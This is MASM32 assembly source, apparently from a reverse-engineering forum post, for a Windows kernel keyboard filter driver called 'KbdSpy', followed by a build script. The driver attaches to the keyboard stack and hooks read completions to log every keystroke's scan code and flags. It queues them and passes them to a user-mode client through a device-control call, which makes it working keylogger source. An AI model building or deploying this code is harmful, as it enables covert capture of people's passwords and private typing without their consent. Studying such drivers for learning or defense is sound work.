;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                    CDO_DispatchClose                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CDO_DispatchClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

local KeyData:KEY_DATA 

 dprintf  $CTA0("KbdSpy: Entering CDO_DispatchClose\n")

 ; Do not set completion routine any more

 .while TRUE

  invoke RemoveEntry, addr KeyData
  .break .if eax == 0

 .endw
 
 and g_fSpy, FALSE

 MUTEX_ACQUIRE g_mtxCDO_State
    
 .if ( g_pFilterDeviceObject == NULL )

  .if g_dwPendingRequests == 0

   ; If we have datached from the keyboard stack, and there is
   ; no outstanding IRPs it's safe to unload.

   mov eax, g_pDriverObject
   mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload

  .endif

 .endif

 ; Someone else may open control device

 and g_fCDO_Opened, FALSE 

 MUTEX_RELEASE g_mtxCDO_State

 mov eax, STATUS_SUCCESS
  
 mov ecx, pIrp
 and (_IRP PTR [ecx]).IoStatus.Information, 0
 mov (_IRP PTR [ecx]).IoStatus.Status, eax

 push eax

 fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT

 pop eax
 ret

CDO_DispatchClose endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      FillKeyData                                                 
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FillKeyData proc uses edi ebx ecx edx pBuffer:PVOID, cbBuffer:DWORD

local KeyData:KEY_DATA
local cbReturned:DWORD

 and cbReturned, 0

 ; Lets see how many KEY_DATAs will fit into passed in buffer

 mov eax, cbBuffer
 mov ecx, sizeof KEY_DATA
 xor edx, edx
 div ecx
 mov ebx, eax

 mov edi, pBuffer

 .while ebx

  invoke RemoveEntry, edi
  
  .break .if eax == 0

  add cbReturned,  eax

  dec ebx
  add edi, sizeof KEY_DATA

 .endw

 mov eax, cbReturned
 ret

FillKeyData endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                CDO_DispatchDeviceControl                                         
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CDO_DispatchDeviceControl proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

local status:NTSTATUS
local pEventObject:PKEVENT
local liDelayTime:LARGE_INTEGER
local KeyData:KEY_DATA
  
dprintf $CTA0("enter CDO_DispatchDeviceControl...\n") 
 
 mov status, STATUS_UNSUCCESSFUL

 mov esi, pIrp
 assume esi:ptr _IRP

 mov [esi].IoStatus.Status, STATUS_UNSUCCESSFUL
 and [esi].IoStatus.Information, 0

 IoGetCurrentIrpStackLocation esi
 mov edi, eax
 assume edi:ptr IO_STACK_LOCATION

 .if [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_ATTACH
  .if [edi].Parameters.DeviceIoControl.InputBufferLength == sizeof HANDLE
   MUTEX_ACQUIRE g_mtxCDO_State
   ; The user-mode client wants us attach to the keyboard device stack

   mov edx, [esi].AssociatedIrp.SystemBuffer
   mov edx, [edx]   ; event handle from user-mode

   mov ecx, ExEventObjectType
   mov ecx, [ecx]
   mov ecx, [ecx]   ; PTR OBJECT_TYPE
 
   invoke ObReferenceObjectByHandle, edx, EVENT_MODIFY_STATE, ecx, \
          UserMode, addr pEventObject, NULL
   .if eax == STATUS_SUCCESS

    ; If passed event handle is valid, attach to keyboard
     
    .if !g_fFiDO_Attached

     invoke KeyboardAttach
     mov [esi].IoStatus.Status, eax

     .if eax == STATUS_SUCCESS

      mov eax, pEventObject
      mov g_pEventObject, eax   ; No need to lock

      mov g_fFiDO_Attached, TRUE
      mov g_fSpy, TRUE    ; Set completion routine.
      dprintf $CTA0(" mov g_fSpy, TRUE  \n")

    mov eax, g_pControlDeviceObject
    mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
    mov  (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
  
     .else
      ; Failed to attach
      invoke ObDereferenceObject, pEventObject
     .endif

    .else
     ; We was attached

     LOCK_ACQUIRE g_EventSpinLock
     mov bl, al   ; old IRQL

     mov eax, g_pEventObject
     .if eax != NULL
      and g_pEventObject, NULL
      invoke ObDereferenceObject, eax
     .endif

     mov eax, pEventObject
     mov g_pEventObject, eax
     
     LOCK_RELEASE g_EventSpinLock, bl

     mov g_fSpy, TRUE; Set completion routine.

    mov eax, g_pControlDeviceObject
    mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
    mov  (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
  
     mov [esi].IoStatus.Status, STATUS_SUCCESS
    .endif

   .else
    mov [esi].IoStatus.Status, STATUS_INVALID_PARAMETER
   .endif

   MUTEX_RELEASE g_mtxCDO_State
 
  .else
   mov [esi].IoStatus.Status, STATUS_INFO_LENGTH_MISMATCH
  .endif

 .elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_DETACH

  MUTEX_ACQUIRE g_mtxCDO_State
 
  ; The user-mode client wants us to detach from the keyboard device stack

  .if g_fFiDO_Attached

   ; Do not set completion routine any more no matter will we detach or not
 
   and g_fSpy, FALSE

    mov eax, g_pControlDeviceObject
    mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
    and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE
 
   invoke KeyboardDetach
   mov [esi].IoStatus.Status, eax

   .if eax == STATUS_SUCCESS
    mov g_fFiDO_Attached, FALSE
   .endif

   LOCK_ACQUIRE g_EventSpinLock
   mov bl, al   ; old IRQL

   mov eax, g_pEventObject
   .if eax != NULL
    and g_pEventObject, NULL
    invoke ObDereferenceObject, eax
   .endif

   LOCK_RELEASE g_EventSpinLock, bl

  .endif

  MUTEX_RELEASE g_mtxCDO_State
 
 .elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_GET_KEY_DATA
  .if [edi].Parameters.DeviceIoControl.OutputBufferLength >= sizeof KEY_DATA
     dprintf $CTA0("enter 'IOCTL_GET_KEY_DATA'...\n ")
  invoke FillKeyData, [esi].AssociatedIrp.SystemBuffer, \
     [edi].Parameters.DeviceIoControl.OutputBufferLength
   mov [esi].IoStatus.Information, eax
   mov [esi].IoStatus.Status, STATUS_SUCCESS
   
    
  .else
   mov [esi].IoStatus.Status, STATUS_BUFFER_TOO_SMALL
  .endif
 .else
  mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
 .endif

 mov eax,  [esi].IoStatus.Status
 mov status, eax

 assume esi:nothing
 assume edi:nothing

 fastcall IofCompleteRequest, esi, IO_NO_INCREMENT

 mov eax, status
 ret

CDO_DispatchDeviceControl endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverUnload                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverUnload proc pDriverObject:PDRIVER_OBJECT

local KeyData:KEY_DATA
 
 dprintf  $CTA0("DriverUnload...\n")

 invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName

 ; Empty and destroy list

 .while TRUE

  invoke RemoveEntry, addr KeyData
  .break .if eax == 0

 .endw

 invoke ExDeleteNPagedLookasideList, g_pKeyDataLookaside
 invoke ExFreePool, g_pKeyDataLookaside

 mov eax, pDriverObject
 invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject

 ret

DriverUnload endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      ReadComplete                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

ReadComplete proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP, pContext:PVOID

local KeyData:KEY_DATA
local cEntriesLogged:DWORD

dprintf  $CTA0("enter ReadComplete ...\n ")

 ; This routine is to be called when the IRP is completed.
 ; It is running at IRQL <= DISPATCH_LEVEL and in an arbitrary thread context.

    mov esi, pIrp
    assume esi:ptr _IRP

 ; Probably better to use NT_SUCCESS-like behaviour, but it works anyway

 .if [esi].IoStatus.Status == STATUS_SUCCESS
 
  ; At least one KEYBOARD_INPUT_DATA structure was transferred.

  ; The AssociatedIrp.SystemBuffer member points to the output buffer
  ; that is allocated by the Win32 subsystem to output the requested 
  ; number of KEYBOARD_INPUT_DATA structures.                        
  
  mov edi, [esi].AssociatedIrp.SystemBuffer
  assume edi:ptr KEYBOARD_INPUT_DATA
  
        ; The Information member specifies the number of bytes      
        ; that are transferred to the Win32 subsystem output buffer.
       
        mov ebx, [esi].IoStatus.Information

  and cEntriesLogged, 0
  .while sdword ptr ebx >= sizeof KEYBOARD_INPUT_DATA 
   
   movzx eax, [edi].MakeCode
   mov KeyData.dwScanCode, eax
   ;mov g_KEY_DATA.dwScanCode, eax
   
   dprintf $CTA0("dwScanCode=%d\n"),eax   

   movzx eax, [edi].Flags
   mov KeyData.Flags, eax
   ;mov g_KEY_DATA.Flags, eax

   dprintf $CTA0("Flags=%d\n"),eax

   invoke AddEntry, addr KeyData
    
   inc cEntriesLogged

   add edi, sizeof KEYBOARD_INPUT_DATA
   sub ebx, sizeof KEYBOARD_INPUT_DATA
  .endw

  assume edi:nothing

  ; Notify user-mode client.

   ;.while  cEntriesLogged != 0 

   LOCK_ACQUIRE g_EventSpinLock
   mov bl, al   ; old IRQL

   .if ( g_pEventObject != NULL )  ; EventObject may go away
    invoke KeSetEvent, g_pEventObject, 0, FALSE
   .endif
    
   
   LOCK_RELEASE g_EventSpinLock, bl
  
   ;dec     cEntriesLogged     
  
  ;.endw
 
 .endif

 ; Any driver that returns STATUS_SUCCESS from IoCompletion routine should check the
 ; IRP->PendingReturned flag in the IoCompletion routine.  If the flag is set,
 ; the IoCompletion routine must call IoMarkIrpPending with the IRP.
 
 .if [esi].PendingReturned
  IoMarkIrpPending esi
 .endif

  assume esi:nothing

 lock dec g_dwPendingRequests

 mov eax, STATUS_SUCCESS
 ret

ReadComplete endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                     FiDO_DispatchRead                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FiDO_DispatchRead proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

 ; The IRP_MJ_READ request transfers zero or more KEYBOARD_INPUT_DATA structures
 ; from Kbdclass's internal data queue to the Win32 subsystem buffer.

    mov eax, g_pControlDeviceObject
    mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
    mov  eax, (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy

 .if eax ; g_fSpy

  dprintf  $CTA0("enter  FiDO_DispatchRead  g_fSpy...\n")

  lock inc g_dwPendingRequests

  ; We pass the same parameters to lower driver copying our stack location to the next-lower one.

  IoCopyCurrentIrpStackLocationToNext pIrp

  ; To find out how the IRP will be completed we install completion routine.
  ; It will be called when the next-lower-level driver has completed IRP.

  IoSetCompletionRoutine pIrp, ReadComplete, NULL, TRUE, TRUE, TRUE

 .else

   dprintf  $CTA0("enter  FiDO_DispatchRead  not g_fSpy...\n")

  ; No need to know what will happen with IRP. So just pass it down and forget.
  ; Bacause we do not need to set completion routine use IoSkipCurrentIrpStackLocation
  ; instead of IoCopyCurrentIrpStackLocationToNext. It's faster.

     IoSkipCurrentIrpStackLocation pIrp

 .endif

 ; It's time to send an IRP to next-lower-level driver.

 mov eax, pDeviceObject
 mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
 mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject

 invoke IoCallDriver, eax, pIrp

 ; We must return exactly the same value IoCallDriver has returned.

 ret

FiDO_DispatchRead endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                     FiDO_DispatchPower                                           
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FiDO_DispatchPower proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

 invoke PoStartNextPowerIrp, pIrp

    IoSkipCurrentIrpStackLocation pIrp
 
 mov eax, pDeviceObject
 mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
 mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject

 invoke PoCallDriver, eax, pIrp

 ; We must return exactly the same value PoCallDriver has returned.

 ret

FiDO_DispatchPower endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      DriverDispatch                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverDispatch proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

local status:NTSTATUS
local dwMajorFunction:DWORD

 IoGetCurrentIrpStackLocation pIrp

 movzx eax, (IO_STACK_LOCATION PTR [eax]).MajorFunction
 mov dwMajorFunction, eax

 mov eax, pDeviceObject
 .if eax == g_pFilterDeviceObject

  mov eax, dwMajorFunction
  .if eax == IRP_MJ_READ
   invoke FiDO_DispatchRead, pDeviceObject, pIrp
   mov status, eax
  .elseif eax == IRP_MJ_POWER
   invoke FiDO_DispatchPower, pDeviceObject, pIrp
   mov status, eax
  .else
   invoke FiDO_DispatchPassThrough, pDeviceObject, pIrp
   mov status, eax
  .endif

 .elseif eax == g_pControlDeviceObject

  ; Request is to our CDO. Let' see what our client want us do
 
  mov eax, dwMajorFunction
  .if eax == IRP_MJ_CREATE
   invoke CDO_DispatchCreate, pDeviceObject, pIrp
   mov status, eax
  .elseif eax == IRP_MJ_CLOSE
   invoke CDO_DispatchClose, pDeviceObject, pIrp
   mov status, eax
  .elseif eax == IRP_MJ_DEVICE_CONTROL
   invoke CDO_DispatchDeviceControl, pDeviceObject, pIrp
   mov status, eax
  .else

   mov ecx, pIrp
   mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
   and (_IRP PTR [ecx]).IoStatus.Information, 0

   fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT

   mov status, STATUS_INVALID_DEVICE_REQUEST
 
  .endif
 
 .else

  ; Strange, we have recieved IRP for the device we do not know about.
  ; This should never happen. Just complete IRP as invalid.

  mov ecx, pIrp
  mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
  and (_IRP PTR [ecx]).IoStatus.Information, 0

  fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT

  mov status, STATUS_INVALID_DEVICE_REQUEST

 .endif

 mov eax, status
 ret

DriverDispatch endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              D I S C A R D A B L E   C O D E                                     
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code INIT

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverEntry                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING

local status:NTSTATUS

 mov status, STATUS_DEVICE_CONFIGURATION_ERROR

 ; Create a Control Device Object (CDO). The purpose of the CDO is to allow
 ; our user-mode client to communicate with us, even before the filter is attached
 ; to its target
 ;
 ; We store the CDO pointer into g_pControlDeviceObject, a globally defined variable.
 ; This way we can identify the control device object in dispatch routines by comparing
 ; the passed in device pointer against our CDO pointer
 ;
 ; CDO is exclusive one. It ensures that only one process opens the device at a time.
 ; DDK stands it is reserved for system use and drivers set this parameter to FALSE.
 ; Anyway we set it to TRUE and to force single-client logic mantain global variable
 ; g_fCDOOpened which we will set/reset in CDO_DispatchCreate/CDO_DispatchClose

 invoke IoCreateDevice, pDriverObject, sizeof CDO_DEVICE_EXTENSION, addr g_usControlDeviceName, \
       FILE_DEVICE_UNKNOWN, 0, TRUE, addr g_pControlDeviceObject
 .if eax == STATUS_SUCCESS

  ;mov eax, g_pControlDeviceObject
  ;mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
  ;and (CDO_DEVICE_EXTENSION ptr [eax]).fOpened, 0

  invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usControlDeviceName
  .if eax == STATUS_SUCCESS

   ; Allocate memory for lookaside list

   invoke ExAllocatePool, NonPagedPool, sizeof NPAGED_LOOKASIDE_LIST
   .if eax != NULL

    mov g_pKeyDataLookaside, eax

    invoke ExInitializeNPagedLookasideList, g_pKeyDataLookaside, \
          NULL, NULL, 0, sizeof KEY_DATA_ENTRY, 'ypSK', 0

    ; Use doubly linked list to track memory blocks
    ; we will allocate/free from/to lookaside list

    InitializeListHead addr g_KeyDataListHead

    and g_cKeyDataEntries, 0

    ; Init spin lock guarding common driver routines
    
    invoke KeInitializeSpinLock, addr g_KeyDataSpinLock

    ; Init spin lock guarding event pointer
    
    invoke KeInitializeSpinLock, addr g_EventSpinLock

    ; Init CDO state mutex
    
    MUTEX_INIT g_mtxCDO_State
   
    ; I know they all are zero by default, but...

    and g_fCDO_Opened, FALSE
    and g_fFiDO_Attached, FALSE
    and g_pFilterDeviceObject, NULL
    and g_fSpy, FALSE
    and g_dwPendingRequests, 0

    mov eax, g_pControlDeviceObject
    mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
    and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE

    mov eax, pDriverObject
    assume eax:ptr DRIVER_OBJECT

    mov ecx, IRP_MJ_MAXIMUM_FUNCTION + 1
    .while ecx
     dec ecx
     mov [eax].MajorFunction[ecx*(sizeof PVOID)], offset DriverDispatch
    .endw

    mov [eax].DriverUnload, offset DriverUnload
    assume eax:nothing

    mov eax, pDriverObject
    mov g_pDriverObject, eax

    mov status, STATUS_SUCCESS

   .else ; ExAllocatePool failed
    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
    invoke IoDeleteDevice, g_pControlDeviceObject
   .endif

  .else  ; IoCreateSymbolicLink failed
   invoke IoDeleteDevice, g_pControlDeviceObject
  .endif

 .endif

 mov eax, status
 ret

DriverEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

end DriverEntry

:make

set drv=KbdSpy

\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//